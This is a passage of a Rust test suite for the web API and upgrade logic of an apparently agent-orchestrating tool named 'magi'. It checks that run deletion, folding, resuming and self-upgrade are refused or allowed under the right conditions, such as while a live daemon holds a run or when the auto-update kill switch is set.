13999 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14000
14001 let run_running = "20260901-000000-rung";
14006 write_run(&runs, run_running, RunStatus::Prep);
14007 let mut beat = crate::daemon::Status::new();
14008 beat.current = vec![crate::daemon::Current {
14009 task: "20260901-000000-task".to_owned(),
14010 run: run_running.to_owned(),
14011 }];
14012 beat.updated_at = jiff::Timestamp::now();
14013 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14014 .expect("publish a heartbeat");
14015 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14016 assert_eq!(res.status, 409);
14017 assert!(
14018 res.json()["error"]
14019 .as_str()
14020 .unwrap()
14021 .contains("live daemon"),
14022 "the refusal must say who is holding it"
14023 );
14024 assert!(
14025 runs.join(run_running).exists(),
14026 "a run in flight keeps its directory"
14027 );
14028
14029 let run_unfolded = "20260901-000000-unfd";
14031 let mut state2 = RunState::new(
14032 PathBuf::from("/repo"),
14033 "main".to_owned(),
14034 "abc".to_owned(),
14035 "instruction".to_owned(),
14036 Config::default(),
14037 );
14038 state2.id = run_unfolded.to_owned();
14039 state2.status = RunStatus::Ready;
14040 state2.candidates.push(crate::run::Candidate {
14041 index: 0,
14042 label: 'A',
14043 agent: "a".to_owned(),
14044 branch: "b".to_owned(),
14045 worktree: PathBuf::from("/w"),
14046 summary: String::new(),
14047 stat: String::new(),
14048 files: 1,
14049 commits: 1,
14050 empty: false,
14051 failed: None,
14052 verified_noop: None,
14053 duration_ms: 0,
14054 folded: false,
14055 });
14056 let dir2 = runs.join(run_unfolded);
14057 std::fs::create_dir_all(&dir2).expect("create dir2");
14058 std::fs::write(
14059 dir2.join("run.json"),
14060 serde_json::to_string(&state2).unwrap(),
14061 )
14062 .expect("write run.json");
14063
14064 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14065 assert_eq!(res.status, 409);
14066 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14067 assert!(dir2.exists(), "unfolded run directory is kept");
14068
14069 let res = fx.delete("/api/runs/nonexistent").await;
14071 assert_eq!(res.status, 404);
14072 }
14073
14074 #[test]
14083 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14084 let start = APP_JS
14085 .find("function renderStats() {")
14086 .expect("renderStats");
14087 let end = start
14088 + APP_JS[start..]
14089 .find("function statsTile(")
14090 .expect("the next top-level function");
14091 let body = &APP_JS[start..end];
14092
14093 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14094 let gate_end = gate_start
14095 + body[gate_start..]
14096 .find("}\n renderStatsQueue")
14097 .expect("the gate's own closing brace, right before the unconditional call");
14098 let gated = &body[gate_start..gate_end];
14099
14100 assert_eq!(
14101 body.matches("renderStatsQueue(").count(),
14102 1,
14103 "renderStats must call renderStatsQueue exactly once: {body}"
14104 );
14105 assert!(
14106 !gated.contains("renderStatsQueue"),
14107 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14108 run-derived panels on an empty run history - the queue panel has to render \
14109 regardless: {gated}"
14110 );
14111 }
14112
14113 #[test]
14114 fn web_ui_delete_contract_in_front_end() {
14115 assert!(APP_JS.contains("deleteRun:"));
14117 assert!(APP_JS.contains("deleteTask:"));
14118
14119 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14121 ..APP_JS.find("function renderRuns").unwrap()];
14122 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14123
14124 assert!(APP_JS.contains("renderRunDelete"));
14126 assert!(APP_JS.contains("runDeleteReason"));
14127 assert!(APP_JS.contains("magi fold"));
14128 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14129
14130 assert!(APP_JS.contains("cancel.focus"));
14132 assert!(APP_JS.contains("armedRunDelete"));
14133 assert!(APP_JS.contains("renderTaskDeleteBox"));
14134 assert!(APP_JS.contains("armed${cap(key)}"));
14135
14136 assert!(APP_JS.contains("disabled: status === \"running\""));
14138 }
14139
14140 #[test]
14160 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14161 let build = APP_JS
14162 .find("function createRunCard")
14163 .expect("createRunCard exists");
14164 let update = APP_JS
14165 .find("function updateRunCard")
14166 .expect("updateRunCard exists");
14167 let end = APP_JS
14168 .find("function renderRuns")
14169 .expect("renderRuns exists");
14170
14171 let builder = &APP_JS[build..update];
14173 let open = builder.find("refs = {").expect("createRunCard sets refs");
14174 let literal = &builder[open + "refs = {".len()..];
14175 let close = literal.find('}').expect("the refs literal is closed");
14176 let published: HashSet<&str> = literal[..close]
14177 .split(',')
14178 .filter_map(|entry| entry.split(':').next())
14180 .map(str::trim)
14181 .filter(|name| !name.is_empty())
14182 .collect();
14183 assert!(
14184 published.len() > 5,
14185 "the refs literal did not parse into names: {published:?}"
14186 );
14187
14188 let mut used: Vec<&str> = Vec::new();
14191 let updaters = &APP_JS[update..end];
14192 for (at, _) in updaters.match_indices("r.") {
14193 let before = updaters[..at].chars().next_back();
14196 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14197 continue;
14198 }
14199 let rest = &updaters[at + 2..];
14200 let len = rest
14201 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14202 .unwrap_or(rest.len());
14203 if len > 0 {
14204 used.push(&rest[..len]);
14205 }
14206 }
14207 assert!(
14208 used.len() > 5,
14209 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14210 );
14211
14212 let missing: Vec<&str> = used
14213 .iter()
14214 .copied()
14215 .filter(|name| !published.contains(name))
14216 .collect();
14217 assert!(
14218 missing.is_empty(),
14219 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14220 never put in `refs` - every card will throw and the list will \
14221 render empty under a count line that says otherwise. Published: \
14222 {published:?}"
14223 );
14224 }
14225
14226 #[tokio::test]
14227 async fn folding_from_the_phone_reports_what_it_removed() {
14228 let fx = Fixture::start().await;
14229 let runs = fx.runs();
14230
14231 let id = "20260901-000000-fold";
14235 write_run(&runs, id, RunStatus::Stalled);
14236 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14237 assert_eq!(res.status, 200);
14238 assert_eq!(res.json()["removed_count"], 0);
14239 assert_eq!(res.json()["run"], id);
14240 assert!(
14241 runs.join(id).exists(),
14242 "a fold keeps the run's record; only the worktrees go"
14243 );
14244 }
14245
14246 #[tokio::test]
14247 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14248 let fx = Fixture::start().await;
14249 let runs = fx.runs();
14250 let wt = fx.home.path().join("wt").join("magi").join("dead");
14251 let id = "20260901-000000-dead";
14252 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14253 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14254 std::fs::create_dir_all(&wt).expect("worktree dir");
14255
14256 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14257 assert_eq!(res.status, 200, "{}", res.body);
14258 assert!(
14259 res.json()["removed_count"].as_u64().unwrap() > 0,
14260 "the worktree this build could not read a state for still went"
14261 );
14262 assert!(
14263 !runs.join(id).exists(),
14264 "an unreadable run has no candidate list to fold selectively, so \
14265 the whole record goes - same as `magi fold` on the CLI"
14266 );
14267 }
14268
14269 #[tokio::test]
14270 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14271 let fx = Fixture::start().await;
14272 let runs = fx.runs();
14273 let wt = fx.home.path().join("wt").join("magi").join("gone");
14274 let id = "20260901-000000-gone";
14275 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14276 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14277 std::fs::create_dir_all(&wt).expect("worktree dir");
14278
14279 let res = fx.delete(&format!("/api/runs/{id}")).await;
14280 assert_eq!(res.status, 204, "{}", res.body);
14281 assert!(!runs.join(id).exists(), "the broken record is gone");
14282 assert!(!wt.exists(), "its worktree is gone too");
14283 }
14284
14285 #[tokio::test]
14286 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14287 let fx = Fixture::start().await;
14288 let runs = fx.runs();
14289 let id = "20260901-000000-live";
14290 write_run(&runs, id, RunStatus::Implementing);
14291
14292 let mut beat = crate::daemon::Status::new();
14293 beat.current = vec![crate::daemon::Current {
14294 task: "20260901-000000-task".to_owned(),
14295 run: id.to_owned(),
14296 }];
14297 beat.updated_at = jiff::Timestamp::now();
14298 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14299 .expect("publish a heartbeat");
14300
14301 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14302 assert_eq!(res.status, 409);
14303 assert!(
14304 res.json()["error"]
14305 .as_str()
14306 .unwrap()
14307 .contains("live daemon"),
14308 "folding under a running agent would pull its worktree away"
14309 );
14310 }
14311
14312 #[tokio::test]
14313 async fn fold_merged_requires_a_pr_url() {
14314 let fx = Fixture::start().await;
14315 let runs = fx.runs();
14316 let id = "20260901-000000-nourl";
14317 write_run(&runs, id, RunStatus::Blocked);
14318
14319 let res = fx
14320 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14321 .await;
14322 assert_eq!(res.status, 400, "{}", res.body);
14323
14324 let blank = fx
14325 .post(
14326 &format!("/api/runs/{id}/fold-merged"),
14327 Some(r#"{"pr_url":" "}"#),
14328 )
14329 .await;
14330 assert_eq!(blank.status, 400, "{}", blank.body);
14331 }
14332
14333 #[tokio::test]
14334 async fn fold_merged_is_404_for_an_unknown_run() {
14335 let fx = Fixture::start().await;
14336 let res = fx
14337 .post(
14338 "/api/runs/nosuchrun/fold-merged",
14339 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14340 )
14341 .await;
14342 assert_eq!(res.status, 404, "{}", res.body);
14343 }
14344
14345 #[tokio::test]
14346 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14347 let fx = Fixture::start().await;
14348 let runs = fx.runs();
14349 let id = "20260901-000000-livemerge";
14350 write_run(&runs, id, RunStatus::Blocked);
14351
14352 let mut beat = crate::daemon::Status::new();
14353 beat.current = vec![crate::daemon::Current {
14354 task: "20260901-000000-task".to_owned(),
14355 run: id.to_owned(),
14356 }];
14357 beat.updated_at = jiff::Timestamp::now();
14358 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14359 .expect("publish a heartbeat");
14360
14361 let res = fx
14362 .post(
14363 &format!("/api/runs/{id}/fold-merged"),
14364 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14365 )
14366 .await;
14367 assert_eq!(res.status, 409, "{}", res.body);
14368 assert!(
14369 res.json()["error"]
14370 .as_str()
14371 .unwrap()
14372 .contains("live daemon"),
14373 "correcting a run's merge underneath a running agent would race \
14374 whatever it is doing to the same `status`/`merge` fields"
14375 );
14376 }
14377
14378 #[tokio::test]
14383 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14384 let fx = Fixture::start().await;
14385 let runs = fx.runs();
14386 let id = "20260901-000000-unconfirmed";
14387 write_run(&runs, id, RunStatus::Blocked);
14388
14389 let res = fx
14390 .post(
14391 &format!("/api/runs/{id}/fold-merged"),
14392 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14393 )
14394 .await;
14395 assert_eq!(res.status, 400, "{}", res.body);
14396 assert_eq!(
14397 read_run(&runs, id).unwrap().status,
14398 RunStatus::Blocked,
14399 "a pull request that could not be confirmed merged must leave \
14400 the run exactly where it was"
14401 );
14402 }
14403
14404 #[tokio::test]
14405 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14406 let fx = Fixture::start().await;
14407 let runs = fx.runs();
14408
14409 for (status, word) in [
14415 (RunStatus::Merged, "merged"),
14416 (RunStatus::Ready, "ready"),
14417 (RunStatus::Failed, "failed"),
14418 ] {
14419 let id = format!("20260901-000000-{}", &word[..4]);
14420 write_run(&runs, &id, status);
14421 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14422 assert_eq!(res.status, 409, "{word} must not be resumable");
14423 let err = res.json()["error"].as_str().unwrap().to_owned();
14424 assert!(err.contains(word), "the refusal names the status: {err}");
14425 }
14426
14427 let mid = "20260901-000000-midf";
14432 write_run(&runs, mid, RunStatus::Reviewing);
14433 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14434 assert_eq!(res.status, 202, "an interrupted run is resumable");
14435 }
14436
14437 #[tokio::test]
14438 async fn resume_is_refused_while_the_loop_is_running() {
14439 let fx = Fixture::start().await;
14440 let runs = fx.runs();
14441 let stalled = "20260901-000000-stal";
14442 write_run(&runs, stalled, RunStatus::Stalled);
14443
14444 let mut beat = crate::daemon::Status::new();
14448 beat.current = vec![crate::daemon::Current {
14449 task: "20260901-000000-task".to_owned(),
14450 run: "20260901-000000-othr".to_owned(),
14451 }];
14452 beat.updated_at = jiff::Timestamp::now();
14453 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14454 .expect("publish a heartbeat");
14455
14456 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14457 assert_eq!(res.status, 409);
14458 let err = res.json()["error"].as_str().unwrap().to_owned();
14459 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14460 assert!(err.contains("stop it first"), "{err}");
14461 }
14462
14463 #[test]
14464 fn a_run_cannot_be_resumed_twice_at_once() {
14465 let home = TempDir::new().expect("temp home");
14466 let ui = Ui::new(
14467 Queue::at(home.path().join("queue")),
14468 Questions::at(home.path().join("questions")),
14469 Talks::at(home.path().join("talks")),
14470 home.path().join("runs"),
14471 home.path().to_path_buf(),
14472 PathBuf::from("/repo"),
14473 )
14474 .with_worktrees_root(home.path().join("wt"));
14475 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14476 let again = ui.begin_resume("20260901-000000-once");
14477 assert!(again.is_err(), "a second tap must not start a second graph");
14478 drop(first);
14479 assert!(
14480 ui.begin_resume("20260901-000000-once").is_ok(),
14481 "and the claim is released when the attempt ends"
14482 );
14483 }
14484
14485 #[test]
14486 fn talk_thinking_tracks_only_its_held_turn_claim() {
14487 let home = TempDir::new().expect("temp home");
14488 let ui = Ui::new(
14489 Queue::at(home.path().join("queue")),
14490 Questions::at(home.path().join("questions")),
14491 Talks::at(home.path().join("talks")),
14492 home.path().join("runs"),
14493 home.path().to_path_buf(),
14494 PathBuf::from("/repo"),
14495 )
14496 .with_worktrees_root(home.path().join("wt"));
14497 let id = "20260901-000000-once";
14498
14499 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14500 let turn = ui.begin_talk_turn(id).expect("claim turn");
14501 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14502 assert!(
14503 !ui.is_thinking("20260901-000000-other"),
14504 "one talk's turn does not make another talk busy"
14505 );
14506 drop(turn);
14507 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14508 }
14509
14510 #[test]
14511 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14512 let home = TempDir::new().expect("temp home");
14513 let talks = Talks::at(home.path().join("talks"));
14514 let ui = Ui::new(
14515 Queue::at(home.path().join("queue")),
14516 Questions::at(home.path().join("questions")),
14517 talks.clone(),
14518 home.path().join("runs"),
14519 home.path().to_path_buf(),
14520 PathBuf::from("/repo"),
14521 )
14522 .with_worktrees_root(home.path().join("wt"));
14523 let id = "20260901-000000-cross";
14524
14525 let other = Talks::at(home.path().join("talks"))
14526 .claim_turn(id)
14527 .expect("claim")
14528 .expect("the other process wins");
14529 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14530 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14531 assert!(
14532 matches!(
14533 ui.begin_talk_turn_unless_pending(id).expect("start"),
14534 TalkTurnStart::Foreign
14535 ),
14536 "a foreign holder is refused, not queued behind"
14537 );
14538 assert!(
14539 !ui.talk_turns.lock().unwrap().live.contains(id),
14540 "a refused claim leaves no in-process entry behind"
14541 );
14542 drop(other);
14543 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14544 assert!(talks.turn_held(id), "the web turn holds the lease");
14545 drop(turn);
14546 assert!(
14547 !talks.turn_held(id),
14548 "dropping the guard releases the lease"
14549 );
14550 }
14551
14552 #[test]
14553 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14554 let home = TempDir::new().expect("temp home");
14555 let talks = Talks::at(home.path().join("talks"));
14556 let ui = Ui::new(
14557 Queue::at(home.path().join("queue")),
14558 Questions::at(home.path().join("questions")),
14559 talks.clone(),
14560 home.path().join("runs"),
14561 home.path().to_path_buf(),
14562 PathBuf::from("/repo"),
14563 )
14564 .with_worktrees_root(home.path().join("wt"));
14565 let id = "20260901-000000-order";
14566 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14567 let slots = ui.talk_turns.lock().unwrap();
14569 let dropper = std::thread::spawn(move || drop(turn));
14570 let start = std::time::Instant::now();
14571 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14572 std::thread::sleep(Duration::from_millis(5));
14573 }
14574 assert!(!talks.turn_held(id), "the lease is released first");
14575 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14576 drop(slots);
14577 dropper.join().expect("join");
14578 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14579 }
14580
14581 #[tokio::test]
14582 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14583 let fx = Fixture::start().await;
14584 let mut beat = crate::daemon::Status::new();
14588 beat.pid = 4321;
14589 beat.updated_at = jiff::Timestamp::now();
14590 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14591 .expect("publish a heartbeat");
14592
14593 let res = fx.post("/api/upgrade", None).await;
14594 assert_eq!(res.status, 409);
14595 let err = res.json()["error"].as_str().unwrap().to_owned();
14596 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14597 assert!(err.contains("old one against the same queue"), "{err}");
14598 }
14599
14600 #[test]
14607 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14608 assert!(!should_spawn_recheck(&crate::config::Update {
14609 mode: UpdateMode::Off,
14610 interval: None,
14611 }));
14612
14613 unsafe {
14616 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14617 }
14618 let killed = should_spawn_recheck(&crate::config::Update {
14619 mode: UpdateMode::Notify,
14620 interval: None,
14621 });
14622 unsafe {
14623 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14624 }
14625 assert!(
14626 !killed,
14627 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14628 one-time startup check"
14629 );
14630
14631 assert!(should_spawn_recheck(&crate::config::Update {
14632 mode: UpdateMode::Notify,
14633 interval: None,
14634 }));
14635 }
14636
14637 #[test]
14643 fn recheck_poll_period_tracks_a_short_configured_interval() {
14644 let short = crate::config::Update {
14645 mode: UpdateMode::Notify,
14646 interval: Some("1m".to_owned()),
14647 };
14648 let period = recheck_poll_period(&short);
14649 assert!(
14650 period <= Duration::from_secs(30),
14651 "a one-minute interval must wake the task far sooner than the \
14652 default ceiling, or the deck would not notice within the \
14653 interval the operator configured: got {period:?}"
14654 );
14655
14656 let default = crate::config::Update {
14657 mode: UpdateMode::Notify,
14658 interval: None,
14659 };
14660 assert_eq!(
14661 recheck_poll_period(&default),
14662 UPDATE_RECHECK_POLL_MAX,
14663 "the default day-long interval should poll at the (capped) \
14664 ceiling rather than needlessly often"
14665 );
14666 }
14667
14668 #[test]
14676 fn recheck_skips_the_network_before_the_interval_elapses() {
14677 let dir = TempDir::new().expect("temp dir");
14678 let path = dir.path().join("state.json");
14679 let state = kaishin::UpdateCheckState {
14680 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14681 last_known_latest: None,
14682 last_known_url: None,
14683 };
14684 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14685
14686 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14687 assert!(
14688 !update_recheck_due(&checker, None),
14689 "a check made moments ago must not be repeated before the \
14690 configured interval elapses"
14691 );
14692 }
14693
14694 #[test]
14700 fn recheck_defers_to_an_upgrade_already_in_flight() {
14701 let dir = TempDir::new().expect("temp dir");
14702 let path = dir.path().join("state.json");
14703 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14704 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14705
14706 assert!(
14707 !update_recheck_due(&checker, Some(&progress)),
14708 "a recheck must not run while an upgrade this deck started is \
14709 still moving"
14710 );
14711 }
14712
14713 #[tokio::test]
14714 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14715 unsafe {
14727 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14728 }
14729 let fx = Fixture::start().await;
14730 let res = fx.post("/api/upgrade", None).await;
14731 unsafe {
14732 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14733 }
14734 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14735 let body = res.json();
14736 assert!(body["to"].is_null(), "there was no release to move to");
14737 assert!(body["parked"].is_null(), "and nothing was parked");
14738 assert!(
14739 body["detail"]
14740 .as_str()
14741 .unwrap()
14742 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14743 "{body:?}"
14744 );
14745 }
14746
14747 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14748 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14749 p.stage = stage;
14750 p
14751 }
14752
14753 #[test]
14754 fn busy_stages_match_the_ui_set() {
14755 use crate::updater::Stage;
14756 assert!(APP_JS.contains(
14757 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14758 ));
14759 for s in [
14760 Stage::Downloading,
14761 Stage::Replaced,
14762 Stage::Parking,
14763 Stage::Restarting,
14764 ] {
14765 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14766 }
14767 for s in [Stage::Done, Stage::Failed] {
14768 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14769 }
14770 assert!(upgrade_in_motion(None).is_none());
14771 }
14772
14773 #[tokio::test]
14774 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14775 use crate::updater::Stage;
14776 for stage in [
14777 Stage::Downloading,
14778 Stage::Replaced,
14779 Stage::Parking,
14780 Stage::Restarting,
14781 ] {
14782 let fx = Fixture::start().await;
14783 let seeded = seeded_progress(stage);
14784 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14785 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14786 .expect("read");
14787
14788 let res = fx.post("/api/upgrade", None).await;
14789 assert_eq!(res.status, 409, "{stage:?}");
14790 let err = res.json()["error"].as_str().unwrap().to_owned();
14791 assert!(err.contains("already in progress"), "{err}");
14792 assert!(err.contains(stage.as_str()), "{err}");
14793
14794 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14795 .expect("read");
14796 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14797 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14798 .unwrap_or_default();
14799 assert!(!log.contains("signalling HANDOVER"), "{log}");
14800 }
14801 }
14802
14803 #[tokio::test]
14804 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14805 use crate::updater::Stage;
14806 let repo = TempDir::new().expect("repo dir");
14807 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14808 .expect("write magi.toml");
14809 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14810 for stage in [Stage::Done, Stage::Failed] {
14811 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14812 let res = fx.post("/api/upgrade", None).await;
14813 assert_eq!(res.status, 200, "{stage:?}");
14814 }
14815 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14817 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14818 }
14819
14820 #[tokio::test]
14821 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14822 let repo = TempDir::new().expect("repo dir");
14838 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14839 .expect("write magi.toml");
14840 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14841
14842 let res = fx.post("/api/upgrade", None).await;
14848 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14849 let body = res.json();
14850 assert!(body["to"].is_null(), "there was no release to move to");
14851 assert!(body["parked"].is_null(), "and nothing was parked");
14852 assert!(
14853 body["detail"]
14854 .as_str()
14855 .unwrap()
14856 .contains("nothing restarted"),
14857 "{body:?}"
14858 );
14859 }
14860
14861 #[tokio::test]
14862 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14863 let repo = TempDir::new().expect("repo dir");
14868 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14869 .expect("write magi.toml");
14870 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14871
14872 let health = fx.get("/api/health").await.json();
14873 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14874 assert_eq!(
14875 health["update"]["available"], false,
14876 "checking is off, which reads as \"unknown\", not \"none\""
14877 );
14878 assert!(health["update"]["to"].is_null());
14879 assert!(
14880 health["upgrade"].is_null(),
14881 "nothing has ever asked this deck to upgrade"
14882 );
14883 }
14884
14885 #[tokio::test]
14886 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14887 let fx = Fixture::start().await;
14888 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14889
14890 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14891 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14892 progress.advance(crate::updater::Stage::Parking);
14893 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14894
14895 let health = fx.get("/api/health").await.json();
14896 assert_eq!(health["upgrade"]["stage"], "parking");
14897 assert_eq!(health["upgrade"]["from"], "0.5.1");
14898 assert_eq!(health["upgrade"]["to"], "0.5.2");
14899 let waiting_on = health["upgrade"]["waiting_on"]
14900 .as_str()
14901 .expect("waiting_on is set while parking a known run");
14902 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14903 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14904 }
14905
14906 #[tokio::test]
14907 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14908 let fx = Fixture::start().await;
14909 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14910 progress.advance(crate::updater::Stage::Done);
14911 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14912
14913 let health = fx.get("/api/health").await.json();
14914 assert_eq!(health["upgrade"]["stage"], "done");
14915 assert!(
14916 health["upgrade"]["waiting_on"].is_null(),
14917 "nothing to wait on once it is done"
14918 );
14919 }
14920
14921 #[tokio::test]
14922 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14923 let home = TempDir::new().expect("temp home");
14924 let runs = home.path().join("runs");
14925 std::fs::create_dir_all(&runs).expect("runs dir");
14926 let ui = Ui::new(
14927 Queue::at(home.path().join("queue")),
14928 Questions::at(home.path().join("questions")),
14929 Talks::at(home.path().join("talks")),
14930 runs,
14931 home.path().to_path_buf(),
14932 PathBuf::from("/repo/magi"),
14933 )
14934 .with_launch(launch_idle);
14935 let looping = ui.looping();
14936 let turns = ui.turns();
14937 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14938 .await
14939 .expect("bind loopback");
14940 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14941
14942 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14943 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14944
14945 hand_over(
14946 home.path(),
14947 &looping,
14948 &turns,
14949 &|_: &[String]| Duration::from_secs(5),
14950 served,
14951 |_| Ok(1),
14952 )
14953 .await
14954 .expect("hand over");
14955
14956 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14957 assert_eq!(
14958 after.stage,
14959 crate::updater::Stage::Restarting,
14960 "hand_over owns the record through parking and up to restarting; \
14961 the successor is what finishes it"
14962 );
14963 }
14964
14965 #[tokio::test]
14968 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14969 for fail in [false, true] {
14970 let home = TempDir::new().expect("temp home");
14971 let ui = idle_ui(&home);
14972 let looping = ui.looping();
14973 let turns = ui.turns();
14974 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14975 .await
14976 .expect("bind loopback");
14977 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14978 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14979 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14980
14981 let calls = std::sync::atomic::AtomicUsize::new(0);
14982 let outcome = hand_over(
14983 home.path(),
14984 &looping,
14985 &turns,
14986 &|_: &[String]| Duration::from_secs(5),
14987 served,
14988 |_| {
14989 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14990 if fail {
14991 anyhow::bail!("no exec")
14992 } else {
14993 Ok(4242)
14994 }
14995 },
14996 )
14997 .await;
14998 assert_eq!(outcome.is_err(), fail);
14999 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15000
15001 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15002 .expect("upgrade.log is written under the home");
15003 for step in [
15004 "entered",
15005 "finish_loop",
15006 "listener released",
15007 "starting the successor",
15008 ] {
15009 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15010 }
15011 assert!(
15012 log.contains(if fail { "did not start" } else { "pid 4242" }),
15013 "{log}"
15014 );
